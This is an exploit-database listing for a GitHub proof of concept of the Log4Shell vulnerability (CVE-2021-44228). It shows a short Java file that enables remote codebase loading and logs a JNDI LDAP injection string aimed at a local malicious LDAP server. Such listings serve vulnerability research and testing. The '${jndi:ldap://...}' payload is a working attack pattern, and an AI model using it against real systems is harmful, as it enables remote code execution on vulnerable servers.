Exploit database

GH-389ec3dd5d8c0eb8b7d7e260f285a004

badb33f/apache-log4j-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-44228

465 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
badb33f/apache-log4j-pocRevision f03f12010939

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

log4j.java

Java · 722 bytes
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * CVE-2021-44228 POC
 * @author Saad Iqbal
 */
public class log4j {

    private static final Logger logger = LogManager.getLogger(log4j.class);

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) {
        // TODO code application logic here
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); //Must be true for 1.8 and 1.7 versions
        logger.error("${java:version}"); 
        String maliciousString = "${jndi:ldap://127.0.0.1:1389/-hexcode from malicious ldap server-}";
        logger.error(maliciousString);
    }
}